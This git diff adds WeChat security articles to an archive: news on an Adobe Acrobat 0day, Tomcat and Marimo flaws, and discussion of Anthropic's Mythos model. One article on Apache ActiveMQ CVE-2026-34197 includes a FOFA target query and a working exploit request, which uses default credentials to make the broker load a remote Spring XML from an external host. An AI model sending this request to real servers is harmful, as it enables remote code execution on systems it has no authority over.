diff --git a/data.json b/data.json index 3aea48b8..f7924a77 100644 --- a/data.json +++ b/data.json @@ -19831,5 +19831,18 @@ "https://mp.weixin.qq.com/s/kBZ2X7eEmuTRjLIXkM43HQ": "【成功复现】Nginx溢出文件读写漏洞(CVE-2026-27654)", "https://mp.weixin.qq.com/s/Phc50MWzVus_wrVy0OwKlA": "Axios 双重危机：CVE-2026-40175 漏洞链与 UNC1069 供应链投毒", "https://mp.weixin.qq.com/s/lniu2gT3XXDH0iuJCRCB6Q": "从漏洞到规则：安全知识自动提取的初步探索", - "https://mp.weixin.qq.com/s/HP8FmF4yvLpQNfezKUiqpg": "【漏洞通告】Adobe Acrobat 远程代码执行漏洞(CVE-2026-34621)" + "https://mp.weixin.qq.com/s/HP8FmF4yvLpQNfezKUiqpg": "【漏洞通告】Adobe Acrobat 远程代码执行漏洞(CVE-2026-34621)", + "https://mp.weixin.qq.com/s/X_Dgl6iGIAZLdAE0x1GL-A": "关键的WordPress插件漏洞让攻击者绕过认证并获得管理员访问权限", + "https://mp.weixin.qq.com/s/mfrCvwyr2UigSC6vnjPTTw": "漏洞挖掘 | 一次数据库是Hive的SQL注入", + "https://mp.weixin.qq.com/s/ITrqweYv7yKYojiuDEXHhA": "筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖", + "https://mp.weixin.qq.com/s/0MPD0zYdT43IM4GCw-7CRg": "“下一代Python笔记本”marimo曝高危漏洞：无需密码，连上WebSocket即可远程控制服务器 (CVE-2026-39987)", + "https://mp.weixin.qq.com/s/17LunUtJ4TM5oMNSlz7PIg": "Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在", + "https://mp.weixin.qq.com/s/id7KduNRt00R00JnKT2eFg": "Apache Tomcat 漏洞使加密拦截器绕过成为可能", + "https://mp.weixin.qq.com/s/3Dm6vTqVd_cV34sfxNzxxQ": "MyBatis框架SQL注入漏洞深度剖析", + "https://mp.weixin.qq.com/s/pbSUX7gtkvSBJWzNQZwIdw": "玲珑安全第八期漏洞挖掘培训，不是“教过就行”，而是实打实“带会”", + "https://mp.weixin.qq.com/s/OH0X9hHdRP-8djW-row_0w": "Adobe 紧急修复已遭利用的 0day", + "https://mp.weixin.qq.com/s/EWo9rapf7r-NAb9eVVYXnw": "Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在", + "https://mp.weixin.qq.com/s/7PQtfrLnn01YqqNFjgzoHg": "筑牢开源安全防线，360荣膺开源鸿蒙社区漏洞挖掘双料大奖", + "https://mp.weixin.qq.com/s/5ML_O5M58UWCvKt8Vc9IGA": "Marimo 高危预认证 RCE 漏洞已遭活跃利用", + "https://mp.weixin.qq.com/s/_g_yapCvMyC1KJm0JEhxWw": "Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) 附POC" } \ No newline at end of file diff --git a/doc/2026-04/Adobe 紧急修复已遭利用的 0day.md b/doc/2026-04/Adobe 紧急修复已遭利用的 0day.md new file mode 100644 index 00000000..e9098cbb --- /dev/null +++ b/doc/2026-04/Adobe 紧急修复已遭利用的 0day.md @@ -0,0 +1,109 @@ +# Adobe 紧急修复已遭利用的 0day +Ravie Lakshmanan + Ravie Lakshmanan 代码卫士 2026-04-13 10:41 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**Adobe****紧急修复了位于 Acrobat Reader 中已遭活跃利用的一个严重漏洞CVE-2026-34621（CVSS评分8.6）。** + + + + + + + + + + + + + + + + + + +该漏洞是由运行污染导致的，如遭利用可导致攻击者在受影响版本上运行恶意代码。原型污染是指可导致攻击者操纵应用对象和属性的JavaScript 漏洞，影响如下 Windows 和 macOS 版本： + +- Acrobat DC 26.001.21367及之前版本（已在26.001.21411中修复） + +- Acrobat Reader DC 26.001.21367及之前版本（已在26.001.21411中修复） + +- Acrobat 2024 版本24.001.30356 及之前版本（已在Windows 24.001.30362 和 macOS：24.001.30360中修复） + + + +Adobe 表示，“已知晓CVE-2026-34621已遭在野利用。” + +几天前，安全研究员兼 EXPMON 的创始人 Haifei Li 披露称，在通过 Adobe Reader 打开特殊构造的 PDF 文档时，该 0day 漏洞被用于运行恶意 JavaScript 代码。他指出，“Adobe 似乎认为该漏洞可导致任意代码执行，而非仅仅是一个信息泄露漏洞，这和我们以及其他安全研究员在过去几天中的研究发现一致。” + + + + 开源 +卫士试用地址： +https://oss.qianxin.com/#/login + + 代码卫士试用地址：https://sast.qianxin.com/#/login + + + + + + + + + +**推荐阅读** + +[CISA提醒注意已遭活跃利用的 Adobe AEM 满分漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524204&idx=1&sn=33d5368ee92ea1a703d23d88bfbd0ee9&scene=21#wechat_redirect) + + +[Adobe 修复史上最严重的 Magento 漏洞之一](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523980&idx=2&sn=1e726413f895d0c82f9817dde7abb01b&scene=21#wechat_redirect) + + +[Adobe 紧急修复 AEM Forms 中的两个0day漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523749&idx=2&sn=107431463b8a59e595bc603cdfbdaa98&scene=21#wechat_redirect) + + +[Adobe紧急修复严重的ColdFusion 路径遍历漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521882&idx=1&sn=1a457064eddc19fcc7a712086557d5cb&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://thehackernews.com/2026/04/adobe-patches-actively-exploited.html + + +题图：Pixa +bay Licens +e + + +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") +![]( "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-04/Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在.md b/doc/2026-04/Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在.md new file mode 100644 index 00000000..8feee201 --- /dev/null +++ b/doc/2026-04/Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在.md @@ -0,0 +1,146 @@ +# Anthropic新模型颠覆网络安全：美英德政府加急评估影响，传统漏洞或不复存在 +安全内参编译 + 安全内参编译 安全内参 2026-04-13 09:50 + +**关注我们** + + +**带你读懂网络安全** + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/wT9KAyOic0NAE4MhcqUUibgYdpH3H4gm6bGYt8ovkQj1ssvAo8Zvt5ILS7T2WMxE2Jos44RrTOchtonyslNnqdicJxVsLWkw1vxK8JkTbRFwC8/640?wx_fmt=webp&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "") + + +Anthropic Mythos预览版模型发布以来在网络安全领域评价毁誉不一，有认为许多其他模型和智能体也具备类似能力，Mythos并不神奇；有认为Mythos将推动漏洞利用链的规模化发现，将极大降低类似间谍软件的复杂攻击门槛；还有认为，Mythos可能成为软件开发安全变革的起点，推动安全设计普及。 + + +由于漏洞挖掘与利用能力太强，该模型目前仅对美西方核心企业开放，美英德加等国政府紧急评估影响，美国政府鼓励系统重要性金融机构应积极使用以提升网络防御能力，德国联邦信息安全办公室负责人称中期传统漏洞（代码语法和内存漏洞）或不复存在。 + + +前情回顾· +AI网络攻击能力动态 +- [Anthropic新模型让传统网络防御失效，AI主导网络安全的时代正在降临！](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247515780&idx=1&sn=bd0f5e0150a0f2ee41c12e2e737092ff&scene=21#wechat_redirect) + + +- [奇点降临？OpenAI宣布新模型将达到高阶黑客水平](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247515325&idx=1&sn=403f587ec800975a5ffdc6d3557225f1&scene=21#wechat_redirect) + + +- [AI一周开发出高级恶意软件，网络犯罪一人产业链开始出现？](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247515492&idx=1&sn=b779fd0ab43d8ca40bb858477d1c45e9&scene=21#wechat_redirect) + + +- [爆料！美军想用AI自动化攻击我国关基设施，电网是重点目标](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247515604&idx=1&sn=6bea5ea396a3da79d1d8d9b0f0e6ff28&scene=21#wechat_redirect) + + + + +安全内参4月13日消息，Anthropic公司在上周发布最新的大模型Claude Mythos预览版，并宣称它标志着网络安全演进中的一个关键节点，将对现有软件防御策略构成前所未有的生存性威胁。本文将深入探讨这究竟只是又一轮AI炒作，还是一个真正的转折点？ + +根据Anthropic的说法，Mythos已经跨越关键能力门槛，能够在几乎所有操作系统、浏览器及各种软件产品中发现漏洞，并可自主生成并运行的攻击利用代码。鉴于这一能力，该公司目前仅将该模型，提供给数十家加入旗下Glasswing网络安全计划的机构，包括微软、苹果、谷歌、思科及Linux基金会。 + +在围绕生成式AI如何影响网络安全的多年讨论之后，近一周的消息引发了广泛争议：所谓的大考是否真的到来，以及它在现实中将以何种形式呈现。 + + +**网络安全专家意见不一，** + +**** +**但均认同AI已具备漏洞挖掘利用能力** + + +部分人士对Anthropic的说法持高度怀疑态度。他们认为，现有AI智能体已经能够帮助用户以更低成本、更高效率发现并利用漏洞，这一趋势确实推动企业改进漏洞发现与修补流程，但并未从根本上改变安全范式。 + +有人认为这种狂热被夸大了，它只是整个AI炒作周期的一个片段。“这就像经典的意大利西部片情节，传教士们宣称末日即将来临，然后卷起大家的钱逃之夭夭，”资深安全与合规顾问达维·奥滕海默说。“这确实是一种转变，就像当别人还在用手动步枪时，你却学会了用机关枪作战，但这并不神秘和魔幻。” + +此外，也存在一种令人不安的现实，即Anthropic很可能通过将其最新模型塑造成神秘、强大且具有稀缺性的产品而获得商业收益。 + +不过，另一些研究人员和从业者则认同Anthropic的评估，并指出公司已明确表示Mythos只是首个具备此类能力的模型，这些能力最终将扩散至更多系统中。 + +云安全公司Edera的首席技术官Alex Zenla表示：“我通常对此类说法持怀疑态度，开源社区也是如此。但从根本上讲，我确实认为这是一种真实存在的威胁。” + +Zenla及其他专家特别强调，Mythos预览版在“漏洞利用链”方面的能力是一个关键转折点。所谓漏洞利用链，是指一组可以按顺序被利用、从而逐步深入攻陷目标系统的漏洞组合，其复杂程度类似鲁布·戈德堡机械式的超复杂连锁装置。许多高级攻击技术都依赖此类利用链，包括零点击攻击，这类攻击无需用户任何操作即可入侵系统。 + +长期从事安全工程与研究的Niels Provos表示：“我们早已生活在一个充满漏洞的软件与硬件环境中，而修补这些漏洞本身就极具挑战。许多企业缺乏保护其基础设施的能力，这一点并没有发生本质变化。但据我了解，Mythos在构建多阶段漏洞方面表现出色，并能够提供可验证的利用证明。这不会改变问题的本质，但会显著降低发现和利用漏洞所需的技术门槛。” + + +**网络攻防能力太强，** + +**** +**目前仅对美西方核心企业开放** + + +目前，Mythos预览版仅在Glasswing项目参与者中有限开放，这为防御方提供了一个短暂的窗口期，使其能够利用该模型识别自身系统中的弱点，并提前调整软件开发流程、更新周期以及补丁部署策略，以应对未来攻击者获得类似能力的局面。 + +行业领袖似乎已开始重视这一警示。上周二，Anthropic的前沿红队负责人Logan Graham在接受外媒WIRED采访时表示，在公司正式发布公告之前，与各组织就Glasswing项目沟通的过程中，电话交流逐渐变得简短，因为潜在威胁已愈发明显。 + +Graham表示：“这不仅是某一家公司的问题，而是所有模型开发者都必须面对的挑战。我们的目标是推动整个过程尽早启动。让Mythos尽快进入防御者手中，以争取先发优势至关重要。” + +思科公司总裁兼首席产品官杰图·帕特尔在旧金山举办的HumanX AI会议上表示，Mythos“是一个非常非常重要的事情”。 + +“从长远来看，你必须确保防御能力达到机器速度，因为攻击已经是机器速度了，”帕特尔说。“如果我有数十亿个代理人要攻击我的基础设施，我需要确保能够有效防御它。Anthropic的做法非常棒，因为它有效地增强了抵御恶意攻击者的能力。” + + +**美英德加等国政府紧急评估影响，** + +**** +**中长期传统漏洞或不复存在** + + +关注Mythos模型影响的人群远不止科技公司。据彭博社报道，美国财政部长斯科特·贝森特和美联储主席杰罗姆·鲍威尔上周二在华盛顿特区财政部总部，召开了一场金融行业领袖会议，讨论像 Mythos这样的模型对网络安全的潜在影响。 + +所有被召集参会的银行均被认定为“系统重要性金融机构”，其稳定性对全球金融体系至关重要。知情人士指出，美国政府官员并未提及任何针对金融机构的具体威胁，而是鼓励银行们将该模型应用于自身系统，以提升防御能力。 + +英国《金融时报》报道称，英国金融监管机构正与政府网络安全部门及主要银行召开紧急会议，以评估Anthropic最新AI模型带来的潜在风险。 + +英格兰银行、金融行为监管局以及财政部官员已与国家网络安全中心展开会谈，重点审查该模型所揭示的关键IT系统潜在漏洞。预计在未来两周内，英国主要银行、保险公司及交易所的代表将参加监管机构组织的会议，听取关于Claude Mythos预览版所带来网络安全风险的专题简报。 + +德国网络安全机构负责人在接受外媒POLITICO采访时表示，Anthropic发布的这一强大新模型标志着“网络威胁性质的范式转变”。 + +德国联邦信息安全办公室负责人Claudia Plattner表示，该机构正就Mythos模型与Anthropic保持积极沟通。他认为，Anthropic Mythos模型意味着在中期内，我们可能会达到一个临界点：未知的传统软件漏洞将彻底不复存在。 + +加拿大财政部一位发言人表示，该部门已于上周五与加拿大央行及多家银行高管召开会议，讨论网络安全问题。发言人指出，AI以及Anthropic的新模型也是会议的重要议题之一。 + + +**Anthropic Mythos能否成为** + +**** +**软件开发安全变革起点？** + + +有人认为，鉴于一种思维转变要在所有行业和组织中普及需要很长时间，抓住特定事件或技术突破作为提高意识的契机是有价值的。 + +此前几次网络安全领域的重大觉醒都源于灾难性漏洞事件，比如针对谷歌的极光攻击凸显了"零信任"架构的重要性，Solarwinds和Log4shell黑客攻击潮则推动了"安全设计"理念的软件开发方式。 + +Anthropic认为，Mythos预览版的发布可以作为一个更为审慎的转折点，因为它只是对未来可能性的预警，而非最坏情况的真实演示。 + +安全专家们还表示，这一时刻也是解决当前软件开发中固有缺陷的契机。 + +"几十年来，我们建立了一个庞大的全球产业，用于防御、检测和响应那些本不该存在的'漏洞'——软件中的缺陷和问题，"资深网络安全从业者、前美国网络安全与基础设施安全局局长珍·伊斯特利撰文写道。 + +她认为，Glasswing计划有望开启"一个AI帮助我们走出无休止打补丁的循环，转向从一开始就构建更安全的技术。这不是网络安全使命的终结，而是我们所熟知的传统网络安全的终结开端。" + +Edera公司的Zenla强调，Mythos预览版并非一道能在一夜之间改变一切的闪电。相反，她说，这是通往安全领域"无限猴子定理"（无限只猴子在无限打字机上敲出莎士比亚作品）的又一步。 + +"如果你有一百万个漏洞研究员，他们能发现大量bug。但人类并不擅长在脑海中长时间保持大量上下文信息，因此发现能够串联利用的、很长的漏洞链一直很少见，"她说，"Mythos 和类似模型将加速攻击者将漏洞组合成可利用集合的速度。有些人会为此长期不满，但我确实认为格局已经改变了。" + + +**参考资料：安全内参综合** + + +**推荐阅读** +- [网安智库平台长期招聘兼职研究员](http://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247499450&idx=2&sn=2da3ca2e0b4d4f9f56ea7f7579afc378&chksm=ebfab99adc8d308c3ba6e7a74bd41beadf39f1b0e38a39f7235db4c305c06caa49ff63a0cc1d&scene=21#wechat_redirect) + + +- [欢迎加入“安全内参热点讨论群”](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247501251&idx=1&sn=8b6ebecbe80c1c72317948494f87b489&chksm=ebfa82e3dc8d0bf595d039e75b446e14ab96bf63cf8ffc5d553b58248dde3424fb18e6947440&token=525430415&lang=zh_CN&scene=21#wechat_redirect) + + + + + + + +点击下方卡片关注我们， + +带你一起读懂网络安全 ↓ + + + + diff --git a/doc/2026-04/Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) 附POC.md b/doc/2026-04/Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) 附POC.md new file mode 100644 index 00000000..c967b442 --- /dev/null +++ b/doc/2026-04/Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) 附POC.md @@ -0,0 +1,107 @@ +# Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) 附POC +2026-4-14更新 + 2026-4-14更新 南风漏洞复现文库 2026-04-13 16:14 + +  + +# 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. Apache ActiveMQ简介 + +微信公众号搜索：南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +本人只有 南风漏洞复现文库 和 南风网络安全 + 这两个公众号，其他公众号有意冒充，请注意甄别，避免上当受骗。 + +Apache ActiveMQ 是一个开源的多协议消息代理服务器 +## 2.漏洞描述 + +Apache ActiveMQ 是一个开源的多协议消息代理服务器。2026年4月，官方披露 CVE-2026-34197 ActiveMQ Jolokia 远程代码执行漏洞。由于 允许对 ActiveMQ MBeans 执行 exec 操作。攻击者可通过Web 控制台默认暴露的 Jolokia JMX-HTTP bridge 操作ActiveMQ MBeans，调用 addNetworkConnector 或 addConnector 方法，构造包含 brokerConfig 参数的 discovery URI从而ResourceXmlApplicationContext 加载远程恶意 Spring XML 配置文件，并最终导致代码执行。 + +CVE编号:CVE-2026-34197 + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +Apache ActiveMQ < 5.19.4 6.0.0 <= Apache ActiveMQ < 6.2.3 +![Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197)](https://mmbiz.qpic.cn/mmbiz_png/b9KQYsB8q6xF4bibAic9CpI3aod4AoEgygK2uaMUUbiaicZTpwlkInSYMcpPWh5gibicOl7r6H1eZHQBITqIhicDIuSdKnSSrAeBP5ehnP1SBI4Feo/640?wx_fmt=png&from=appmsg "null") + +Apache ActiveMQ存在远程代码执行漏洞(CVE-2026-34197) +## 4.fofa查询语句 + +title=="Apache ActiveMQ" +## 5.漏洞复现 + +漏洞链接：http://xx.xx.xx.xx/api/jolokia/ + +漏洞数据包： +``` +POST /api/jolokia/ HTTP/1.1 +Host: xx.xx.xx.xx +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Connection: close +Content-Length: 442 +Authorization: Basic YWRtaW46YWRtaW4= +Content-Type: application/json +Origin: http://123.253.61.196:8161 +Accept-Encoding: gzip, deflate + +[ +  { +    "type": "exec", +    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", +    "operation": "removeNetworkConnector", +    "arguments": ["NC"] +  }, +  { +    "type": "exec", +    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost", +    "operation": "addNetworkConnector", +    "arguments": ["static:(vm://zgbbtd?brokerConfig=xbean:http://d7egttur23rhlh6mh8j0nskmoiszxgpdk.oast.online/ygmyo.xml)"] +  } +] +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b9KQYsB8q6wibVpnb8JcBZB6ZNlbpLVmgXo7IU2XdVicduWff8iaLYZiaerDFotbzPp070zIGhVhrgUWZQQsLkn61qU7EjibdiaFLKC9TQClb36xc/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b9KQYsB8q6wrialCia00txInrQGpliaGd9MlWlsGHzFGxUtQtfE2d6iaUzIAmpRfXeE5d5TibL2lOiaYCPhNuiabxicGQp0wzmxrRLR1qlOw30alL0M/640?wx_fmt=png&from=appmsg "null") + +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全 +1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。 +2: 免登录，免费fofa查询。 +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别，持续更新指纹库。 +5: Nuclei脚本。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b9KQYsB8q6ws5EIKqzouCXqI6icXgNvDHEY4kwVSNIwnOtQTxgkrGGHHyYTTCqHEpBpPjZXKeskQbIhtn2uxzKSyNx1vjuonZzy7yOVTibzmg/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6zzxhXT2KVZVrHBickvVbjhNpER4q5qoy6IxhagHgJ6ibmFgjbiaTtUe3ibRzYpMFOicm9w203jJKrQNcrtoprLCBM1ibZ3RPTrHJquU/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6z1WTAH3ibjVxKttXKvnjNVvShR0dkKGwQzHCKXmmx44zLyuo4ibubucsbNBPIwDgUqvGuL0yM8qVic4U8s6RomCXe9CPLNfMicDJc/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6yKX10IzWAUlOTZluW3XKe78IYJxs6oq1oWWFrMEj31gvga6RkpVZJN19sT35zh55oW2RiaFw5Ube6EE4Wk8icubZC4J5zic0IvkM/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b9KQYsB8q6xVVnQxiaR5luMd10QFUZkgUIaibA6UicBn7vzUribqc8n1pLbT7LHUHfvCgb5LY4B3PT4xlUUwibPcnSZ8RfSic5zAL7iaucY1u2Er84/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6zJFic7oMCK2oQPXBOtickIOpQicEqV1EcgRKk9OJsDj11DU5LSMGn404FxIrdJ9BZKwsdfKSFtFDLtNDWicjUu7iahRObm7vhricf70/640?wx_fmt=jpeg&from=appmsg "null") + +## 7.整改意见 + +1、升级至最新版本。 2、设置Activemq管理控制界面仅对可信地址开放。 3、修改Activemq web控制台默认口令。 +## 8.往期回顾 + + +  + + + diff --git a/doc/2026-04/Apache Tomcat 漏洞使加密拦截器绕过成为可能.md b/doc/2026-04/Apache Tomcat 漏洞使加密拦截器绕过成为可能.md new file mode 100644 index 00000000..425db22c --- /dev/null +++ b/doc/2026-04/Apache Tomcat 漏洞使加密拦截器绕过成为可能.md @@ -0,0 +1,41 @@ +# Apache Tomcat 漏洞使加密拦截器绕过成为可能 +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-04-13 11:13 + +阿帕奇软件基金会已为阿帕奇汤姆猫发布了关键的安全更新，以解决三个新披露的漏洞。 +由于 Apache Tomcat 是一款广泛部署的开源网络服务器，这些漏洞给许多企业环境带来了重大风险。 +新发现的漏洞可能会让攻击者破坏加密通信、利用有缺陷的补丁以及绕过客户端证书认证。 +强烈建议系统管理员查看官方通告，并应用必要的补丁以保障其网络基础设施的安全。 +## CVE-2026-29146 加密拦截填充甲骨文攻击 + +安全研究人员乌里·卡茨（Uri Katz）和阿维·卢梅尔斯基（Avi Lumelsky）来自 Oligo Security，他们在 Apache Tomcat 的 EncryptInterceptor 中发现了一个重要的严重漏洞。 +默认情况下，此组件使用了密码块链接（CBC）模式，这无意中使服务器暴露于填充预言攻击之下。 +简单来说，填充块攻击让恶意行为者能够通过分析服务器对错误填充数据请求的响应，逐步解密被拦截的流量。 +这种加密缺陷最终使攻击者能够篡改加密的会话数据。此漏洞影响以下 Apache Tomcat 版本： +Apache Tomcat 11.0.0-M1 至 11.0.18 +Apache Tomcat 10.1.0-M1 至 10.1.52 +Apache Tomcat 9.0.13 至 9.0.115 +## CVE-2026-34486 加密拦截器绕过漏洞 + +尽管开发人员试图修补填充预言漏洞，但他们代码中的一个错误却引入了一个新的、严重的重大问题。 +由 striga.ai 的巴特洛梅伊·德米特鲁克（Bartlomiej Dmitruk）发现的这一后续漏洞，使攻击者能够完全绕过 EncryptInterceptor。 +由于针对 CVE-2026-29146 的初始安全修复存在缺陷，运行特定补丁版本的系统仍面临流量拦截和篡改的风险。 +这凸显了在发现不完整的修复措施时迅速部署二次补丁的重要性。以下版本存在此绕过漏洞： +Apache Tomcat 11.0.20 +Apache Tomcat 10.1.53 +Apache Tomcat 9.0.116 + +CVE-2026-34486  “加密拦截器”绕过漏洞 + +第三个漏洞由早稻田大学的尾山春树发现，其严重程度为中等，涉及数字证书验证。 +在线证书状态协议（OCSP）检查旨在验证客户端证书是否已被吊销。 +然而，当使用了外部函数与内存 API（FFM）并且明确禁用了软失败功能时，这些检查仍会偶尔出现软失败。 +因此，客户端证书身份验证错误地信任了可能无效的证书，未能如预期般阻止未经授权的访问。此身份验证绕过影响以下版本： +Apache Tomcat 11.0.0-M14 至 11.0.20 +Apache Tomcat 10.1.22 至 10.1.53 +Apache Tomcat 9.0.92 至 9.0.116 + +为解决这三项漏洞，Apache 软件基金会强烈建议用户立即升级其服务器环境。 +系统管理员必须根据其当前的发布分支，升级到 Apache Tomcat 11.0.21 版、10.1.54 版或 9.0.117 版。 +实施这些最新的软件版本将确保 EncryptInterceptor 安全运行，并且客户端证书认证能严格按照配置执行。 + diff --git a/doc/2026-04/Marimo 高危预认证 RCE 漏洞已遭活跃利用.md b/doc/2026-04/Marimo 高危预认证 RCE 漏洞已遭活跃利用.md new file mode 100644 index 00000000..5fe9191b --- /dev/null +++ b/doc/2026-04/Marimo 高危预认证 RCE 漏洞已遭活跃利用.md @@ -0,0 +1,120 @@ +# Marimo 高危预认证 RCE 漏洞已遭活跃利用 +Bill Toulas + Bill Toulas 代码卫士 2026-04-13 10:41 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**开源响应式 Python 笔记本平台 Marimo 中存在一个严重漏洞CVE-2026-39987（CVSS评分9.3），攻击者无需认证即可实现远程代码执行 (RCE)，影响 Marimo 0.20.4及之前版本。该漏洞在公开披露10小时后即遭利用。** + + + + + + + + + + + + + + + + + + +云安全公司 Sysdig 的研究人员提到，攻击者根据开发者公告中发布的信息构造了一个利用，并立即开始窃取敏感信息。Marimo 是一个开源的 Python 笔记本环境，通常供数据科学家、机器学习/人工智能实践者、研究人员和开发人员构建应用或仪表盘。该项目热度很高，在 GitHub 平台获得2万个 star和1000多次 fork。 + +CVE-2026-39987是因 WebSocket 端点 “/terminal/ws” 在没有进行适当认证检查的情况下暴露一个交互式终端造成的，可导致任何未认证客户端进行连接。这就导致攻击者可访问完整的交互式 shell，以与 Marimo 进程相同的权限进行运行。 + +Marimo 在今年4月8日披露了该漏洞，并在近日发布0.23.0版本修复该漏洞。开发人员注意到该漏洞影响那些将所部署 Marimo 当作可编辑笔记本的用户，以及在编辑模式下使用 –host 0.0.0.0将 Marimo 暴露到共享网络的用户。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXibheZ8YbRFdgjhweBibtfDS4DKyYPzLejaGUlNMzL5ensuFPxjXjEQ6f5mib7pTGwwWkrp1yM8gxmmwbdNPKicfdoibniaqcSJL6W8/640?wx_fmt=gif&from=appmsg "") + +**已遭在野利用** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXRHr8ZHicvXt6H7icOLJhxLM1uicAGhd88DA1sl70eibpFo8KJGWP8KA3LRtEYyEMVC7fwIvNEyN2pD629848MpBI3AfD2kHgqibE8/640?wx_fmt=gif&from=appmsg "") + + + +研究人员提到，在该漏洞详情被披露的12小时内，已有125个IP地址开始实施侦查活动。在公开披露不到10小时后，研究人员在凭据窃取攻击活动中实施的首次利用尝试。 + +攻击者首先连接到 /terminal/ws 端点来验证漏洞是否存在，执行了一段简短脚本以确认可远程执行命令，并在几秒内断开连接。不久之后，攻击者重新连接并开始手动侦查，执行pwd、whoami 和 ls 等基本命令以了解环境，随后尝试进行目录遍历，并检查与 SSH 相关的路径位置。 + +接着，攻击者将重点转向凭据窃取，立即定位 .env 文件并提取其中的环境变量，包括云服务凭据和应用密钥。随后，他们尝试读取工作目录下的其它文件，并继续探查 SSH 密钥。上述整个凭据访问阶段在不到三分钟的时间内完成。 + +大约一小时后，攻击者再次返回，使用相同的漏洞利用序列进行了第二次入侵。研究人员指出，这起攻击背后似乎是一位“有条理的操作者”，手法偏向手动操作而非依赖自动化脚本，目标明确，主要集中在窃取 .env 凭据和 SSH 密钥等高价值资产上。攻击者并未尝试安装持久化后门、部署加密货币挖矿程序或植入其它木马，这表明它是一场快速且隐蔽的窃密行动。 + +建议 